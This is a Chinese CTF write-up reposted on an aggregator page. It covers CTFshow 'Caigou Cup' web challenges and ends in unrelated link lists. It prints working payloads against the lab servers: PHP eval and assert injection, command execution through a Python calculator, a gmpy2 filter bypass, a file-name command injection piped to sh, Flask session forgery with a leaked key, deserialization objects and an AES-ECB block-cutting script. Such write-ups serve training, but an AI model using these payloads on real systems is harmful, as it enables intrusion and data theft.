位置: IT常识 - 正文

CTFSHOW菜狗杯 web(正版菜狗)

编辑:rootadmin
CTFSHOW菜狗杯 web 文章目录web签到web2 c0me_t0_s1gn我的眼里只有$抽老婆一言既出驷马难追TapTapTapWebshell化零为整无一幸免传说之下(雾)算力超群算力升级2遍地飘零茶歇区小舔田?LSB探姬Is_Not_Obfuscate龙珠NFTweb签到eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

推荐整理分享CTFSHOW菜狗杯 web(正版菜狗),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:ctfshow菜狗杯杂项签到,菜狗stl,ctfshow菜狗杯杂项签到,ctfshow菜狗杯答案,ctfshow菜狗杯教程,ctfshow菜狗杯杂项签到,ctfshow菜狗杯教程,ctfshow菜狗杯web签到,内容如对您有帮助,希望把文章链接给更多的朋友!

简单的解释下这个嵌套

加入cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']。 而$_REQUEST就get、post都可以接收啦。 加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。 但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了 c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

web2 c0me_t0_s1gn

注释里面有一半flag 然后控制台运行g1ve_flag()得另一半flag

我的眼里只有$

又是群主出的题,不得不说群主老大出的题真的是花里胡哨😁

extract($_POST);eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);

可以看到就是个变量覆盖然后再无限套娃。 假设我们post传入_=a那么$_=a,如果在post传入a=b那么$$_=b 以此类推传入一定数量的参数就可以了,最后一个的值是我们要传入eval的代码。 不过这$属实是有点多,还是写个脚本吧

import strings = string.ascii_letters t='_=a&'code="phpinfo();"for i in range(35): t+=s[i]+"="+s[i+1]+'&'t+=s[i]+'='+codeprint(t)抽老婆

下载页面存在文件读取。 随便读个文件,报错页面可以看出是python flask写的了。 读下源码试试file=../../app.py 有secret_keyapp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' 后面还在session里面存在判断 session伪造没跑了,直接跑脚本https://github.com/noraj/flask-session-cookie-manager 先解密下看看结构 伪造下这个参数应该就可以了

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'c1c437b721d6dcc27ccf4cb8412bd5b6.jpg', 'isadmin': True}"

然后拿着生成的session去访问secret_path_U_never_know即可拿到flag。

一言既出<?phphighlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } }

assert和eval差不多,里面可以执行php代码。那么闭合再注释就可以了。

?num=114514);//驷马难追

增加了过滤没法闭合了,这也好办,我们可以运行加减乘除嘛。

?num=114514+1805296加号需要编码下?num=114514%2b1805296TapTapTap

游戏题,直接找js代码。 看到可以的地方 直接base64解码得到Your flag is in /secret_path_you_do_not_know/secretfile.txt 访问该地址得到flag。

Webshell

非常简单的反序列化

<?php class Webshell { public $cmd = 'cat /f*;cat f*'; }echo serialize(new Webshell);?>

flag在源代码里面

化零为整

这道题也很有意思。 中文在php里面长度是3,其实很容易想到中文的url编码就是3个 比如大的url编码就是%E5%A4%A7 所以这三个url编码字符拼接起来就是一个中文字符了 payload

1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B无一幸免

传个数组就可以了 ?0[]=

传说之下(雾)CTFSHOW菜狗杯 web(正版菜狗)

同样是游戏题,需要我们分数到2077才可以。 来个暴力点的方法,在js代码中找到和分数相关的变量。

可以猜到就是每次吃到一个得一分,我们把这个1直接改成2078。(改成2077还得再吃一个) 先开始比赛后暂停,找到下面的位置,把分数改掉。

然后ctrl+s保存下。 再随便吃一个死掉就可以拿到flag了。 flag在控制台里面

算力超群

一般碰到计算器就很容易和命令执行扯到一块。 随便计算下然后抓个包 _calculate?number1=&operator=&number2=966 有这么几个参数(number1、operator、number2) 输点乱七八糟的字符就可以看到报错信息了 经过测试对number1和operator有些过滤,但是number2没有。 payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()算力升级

这个题感觉质量还是不错的。 是个python的代码执行,但是有些过滤。 如果是字母数字下划线(\w)需要是gmpy2库里的。剩下的字符顺便输。 可以本地看下gmpy2 这里面都是可以用的,这样一来的话基本就可以通过拼接构造出任意的字符了。

比如我们想执行eval可以这样来 gmpy2.__builtins__['eval']('xxx') 而其中的eval可以通过'invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]得到,其他的类似。 因为命令太长了,我也懒得弄,所以就通过request.args['1']获得。 最终payload

gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')GET:tiesuanzi?1=__import__('os').popen("cat /flag").read()等价于`gmpy2.__builtins__['eval']('eval(request.args["1"])')`2

关键代码就一句 subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5) 其中cmd半可控,param可控 __file__是个固定值。 第一个参数作为命令,后面的都是该命令的参数 比如执行

`subprocess.run(['ls','/etc','/'])

就等价于ls /etc / 会同时列出/和/etc下的文件及文件夹 cat也是如此。 有一点要注意,不要看到request.form.get就以为是get传参,其实是接收的post参数 payload

cmd=ls&param=.cmd=cat&param=flag.txt遍地飘零

考察变量覆盖,最终只有一个地方可以输入var_dump($_GET); 所以我们就把要用的flag赋值给GET就好了 _GET=flag

茶歇区

这道题没搞懂咋回事,不过应该和溢出有关。 发送两次就可以了。 为啥不在a的位置,猜测可能是a单价是1,是没有进行乘法运算的。其他的也类似,不是1的应该都可以。

小舔田?

很入门的反序列化,直接上payload了。

<?phpclass Moon{ public $name;}class Ion_Fan_Princess{ public $nickname="小甜甜";}$a = new Moon();$b = new Ion_Fan_Princess();$a->name=$b;echo serialize($a);LSB探姬

直接来看源码。 存在命令执行,并且cmd中有内容是可控的,是我们上传文件的文件名。 不过本地测试发现不出网,那么我们就把执行命令的结果写到静态文件里就好了。 需要注意的点就是传入的用户名中不能有/估计还有一些其他的字符。 所以还是用base64编码来执行把

import requestsurl="http://8516ca37-5457-4ae5-aae6-7800f08dc03f.challenge.ctf.show/"files={"file":("123;echo 'Y2F0IGYqICA+IHN0YXRpYy9qcy9hbnNpX3VwLmpz'|base64 -d|sh","123","image/png")}#cat f* > static/js/ansi_up.jsrequests.post(url+'upload',files=files)r2 = requests.get(url+'static/js/ansi_up.js')print(r2.text)Is_Not_Obfuscate

很迷的一道题,全靠蒙。 通过源代码可以得知 1、存在robots.txt。 2、当action=test时会执行input的内容,不过经过了一个decode

访问下robots.txt,发现存在lib.php、plugins文件夹、还有一个flag参数 那很容易想到flag=1 内容如上。 刚才发现input传入的内容经过decode之后会进入eval,那么input的内容肯定是一段加密后的了。 这么看刚才出来的内容就像是需要的了。

input=类似于base64的东西&action=test

得到源码 存在一个代码执行的点和一个文件写入的点。 大概意思就是假如我们传入output=phpinfo()&action=push,则会生成一个文件,路径为plugins/md5值该md5值是可以本地计算得到了,就是我们代码后面拼接行youyou的md5。 内容是经过encode加密的。 然后如果在传入action=pull&input=刚才生成的文件路径就可以运行刚才的代码了。 payload

action=push&output=system('cat f*;cat /f*');action=pull&input=41fbd06940c629af4cff4d809d386324 system('cat f*;cat /f*');youyou的md5 龙珠NFT

感觉更多的像是密码学题。 简单的解释下源码各个路由的功能 / 提供注册功能,会将用户名的md5作为session存入。 radar 单纯的一个界面,什么用没有。 find_dragonball 如果是第一次访问,那么dragonball就是固定值1。 否则访问后产生一个随机数范围是1-1000 如果是在0-6之间,那么就把dragonball赋值为该数,否则就赋值为0。 并且每个用户都是只有十次机会。 get_dragonball 传入一个address,如果解密后的值中dragonball不为0,那么就会获得该星的龙珠。 flag 有1-7号的dragonball就拿到flag。

大致看下去基本是无解。 即使你想用暴力破解的方式。但是最大的问题是永远不可能获得数字7。 唯一可能有问题的地方就是加密方法了。 可以看到它使用的是AES中的ECB。 而ECB是分段加密的 明文按照16字节分成n块,通过加密器对每一块进行加密获得n个密文块。最后一块通常不够16字节需要按照一定的填充规则进行填充。 我们来看下要加密的内容 {"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"} 按16个分组后的结果

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2 022-10-19 15:06 :45"}

也就是说我们如果是同一个用户的话,前四段加密的结果是一样的。我们希望的是dragonball后面的数字是可控的。 这时候就需要脑洞打开了。 如果我们把第五行删掉会出现什么情况呢

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "9", "time":"2 022-10-19 15:06 :45"}

经过json解析后其实可以得到dragonball为9,而这个次数我们是可以控制的。也就可以控制生成的龙珠数了。

import requestsimport base64import refrom urllib.parse import *url = 'http://ab901b43-8e6c-4049-b50c-d403a5db8524.challenge.ctf.show/'sess = requests.Session()sess.get(url+'?username=1')for i in range(7): url1 = url + 'find_dragonball' r1 = sess.get(url1) a = r1.json()["address"] b = base64.b64decode(a.encode()).hex() c = b[:128]+b[160:] d = quote(base64.b64encode(bytes.fromhex(c)).decode()) url2 = url + f'get_dragonball?address={d}' r2 = sess.get(url2) print(r2.text)r3 = sess.get(url+'flag')flag = re.findall('ctfshow{.*?}',r3.text)[0]print(flag)
本文链接地址:https://www.jiuchutong.com/zhishi/300102.html 转载请保留说明!

上一篇:本地存储(Local Storage) 和 会话存储(Session Storage)(本地存储localstorage没有拿到最新值)

下一篇:CSS响应式布局(自适应布局)(css响应式布局插件)

  • 拼多多运费险有限制次数吗(拼多多运费险有吗)

    拼多多运费险有限制次数吗(拼多多运费险有吗)

  • OPPO Ace2手机屏幕像素是多少呢(oppo的ace2什么屏幕)

    OPPO Ace2手机屏幕像素是多少呢(oppo的ace2什么屏幕)

  • 钉钉怎么登录两个账号(钉钉怎么登录两个平板)

    钉钉怎么登录两个账号(钉钉怎么登录两个平板)

  • 三星s10+和三星s10续航对比(三星s10+和三星s10plus是不是一样)

    三星s10+和三星s10续航对比(三星s10+和三星s10plus是不是一样)

  • 抖音上陌生人发给我的消息消失了(抖音上陌生人发的私信会自动删除吗)

    抖音上陌生人发给我的消息消失了(抖音上陌生人发的私信会自动删除吗)

  • baidunetdisk什么意思(baidunetdisk里的文件)

    baidunetdisk什么意思(baidunetdisk里的文件)

  • 新建一个空数据库的快捷键是(新建一个空数据库快捷键是())

    新建一个空数据库的快捷键是(新建一个空数据库快捷键是())

  • 华为手机怎样找回删除的照片(华为手机怎样找回删除的短信)

    华为手机怎样找回删除的照片(华为手机怎样找回删除的短信)

  • qq通话点了静音会怎样(qq电话开静音别人听不见了吗?)

    qq通话点了静音会怎样(qq电话开静音别人听不见了吗?)

  • 微信账号评估是什么意思(微信号评估价格查询)

    微信账号评估是什么意思(微信号评估价格查询)

  • 微信截屏对方有提醒(微信聊天截屏对方会知道吗)

    微信截屏对方有提醒(微信聊天截屏对方会知道吗)

  • 苹果11怎么用nfc刷门禁(苹果11怎么用nfc刷校园卡)

    苹果11怎么用nfc刷门禁(苹果11怎么用nfc刷校园卡)

  • 华为p30pro充电发热怎么回事(华为p30充电发热怎么回事)

    华为p30pro充电发热怎么回事(华为p30充电发热怎么回事)

  • 网易云账号存在异常是什么意思(网易云账号存在异常无法登录)

    网易云账号存在异常是什么意思(网易云账号存在异常无法登录)

  • 微博会员和非会员区别(微博会员和非会员)

    微博会员和非会员区别(微博会员和非会员)

  • 拼多多直播卖货需要开店吗(拼多多直播卖货货源在哪找)

    拼多多直播卖货需要开店吗(拼多多直播卖货货源在哪找)

  • 抖音播放量多少算热门(抖音播放量多少人工审核)

    抖音播放量多少算热门(抖音播放量多少人工审核)

  • 手机怎么自动拍照(手机怎么自拍)

    手机怎么自动拍照(手机怎么自拍)

  • 淘宝点确认收货为什么还要输入密码(淘宝点确认收货后还能退款吗)

    淘宝点确认收货为什么还要输入密码(淘宝点确认收货后还能退款吗)

  • 蓝屏代码0x0000024修复(蓝屏代码0x0000024解决方法)

    蓝屏代码0x0000024修复(蓝屏代码0x0000024解决方法)

  • 超级快充和数据线有关吗(超级快充和数据线的区别)

    超级快充和数据线有关吗(超级快充和数据线的区别)

  • 手机账号是什么(华为手机账号是什么)

    手机账号是什么(华为手机账号是什么)

  • 什么叫精确查找(精确查找是什么意思?)

    什么叫精确查找(精确查找是什么意思?)

  • 淘宝怎么换个人背景图片(淘宝怎么换个人工客服聊天)

    淘宝怎么换个人背景图片(淘宝怎么换个人工客服聊天)

  • 花呗快充怎么解冻(花呗快充怎么解除冻结)

    花呗快充怎么解冻(花呗快充怎么解除冻结)

  • 苹果x可以用安卓快充头吗(苹果x可以用安卓充电吗)

    苹果x可以用安卓快充头吗(苹果x可以用安卓充电吗)

  • 电脑学习网首发2022年价值1w某政府企业单位响应式模版主题带后台一整套-电脑学习网破解(电脑自学网)

    电脑学习网首发2022年价值1w某政府企业单位响应式模版主题带后台一整套-电脑学习网破解(电脑自学网)

  • 织梦检索数据查询数据库前端实现搜索功能(PHP网站通用)(织梦cms官网)

    织梦检索数据查询数据库前端实现搜索功能(PHP网站通用)(织梦cms官网)

  • 查付款记录需要什么?
  • 股票权类型
  • 计税价格是什么税
  • 财会英语汇总:税收术语?
  • 对公账户余额和实际不符
  • 股东入股的标准
  • 资产报废需要税务登记吗
  • 电子发票密码区显示不全
  • 利润表管理费用怎么算
  • 期货平仓费用
  • 机器设备折旧费用属于间接生产费用
  • 财政部颁布的具体准则
  • 建筑企业资质使用对建造师补充要求
  • 减免税费期末如何结转
  • 建筑公司对外如何开票
  • 企业间借贷利息规定
  • 增值税预交款怎么算
  • 餐饮发票增值税税率是多少
  • 个人能去税务局开普票吗
  • 电话宽带是什么意思
  • 中小企业代扣代缴增值税抵扣时限
  • 累计折旧差错调整减少
  • 国外差旅费如何报销
  • 小规模公司减免的增值税怎么做账
  • 电脑到u盘
  • 其他生活服务业增值税税率
  • RegSrvc.exe - RegSrvc是什么进程 有什么用
  • u盘怎么安装软件
  • php中class用法
  • 税务局怎么核定征收股权转让的
  • 怎么激活对话框取消
  • 电脑打不了字只有拼音,按哪个键
  • 三方转账协议应该怎么写
  • 提前预支工资怎么报税
  • npfmntor.exe - npfmntor是什么进程 有什么用
  • jquery向下滑动元素
  • 迷迭香怎么养殖方法
  • lean in桑德伯格
  • 哪种审计证据可以查出来
  • 出口货物免抵退税额的计算方法
  • 加计减免的分录怎么做
  • 行政单位收到银行的存款
  • 本期应纳税额减征额是什么意思
  • 快递明细单
  • 临过期产品
  • php_fileinfo不支持
  • 继续教育的相关知识
  • 关于税务机关扣押程序
  • 教育培训行业成功案例
  • 去年亏损今年盈利能分红吗
  • 采购暂估业务处理流程
  • 跨年更正错误记账凭证的方法
  • 小规模增值税减免
  • 滞纳金的上限是多少
  • 固定资产折旧方法不考虑净残值
  • 如何查询对方是否起诉离婚
  • 登记会计账簿的注意事项
  • 会计常用表格都有哪些技能
  • mysql drop database删除数据库命令实例讲解
  • SQL Server COALESCE函数详解及实例
  • wdcp面板
  • iis的服务
  • mac 电脑出现问题而重新启动
  • 怎样开启bios
  • xp双系统怎么设置默认系统
  • PHP time_nanosleep() 函数使用介绍
  • win8怎么设置
  • linux操作系统内核
  • 浅析我国国防现状
  • unity3d有什么用
  • shell脚本获取本地ip
  • 如何用js实现一个简单的计算器
  • js中overlay
  • 安卓打包安装程序apk
  • 已经开具的电子专票怎么重新下载
  • 昌吉市税务大厅
  • 福建网上税务局app
  • 社会福利企业可以投资吗
  • 二手房交易契税减免政策
  • 2015年1毛硬币直径?
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设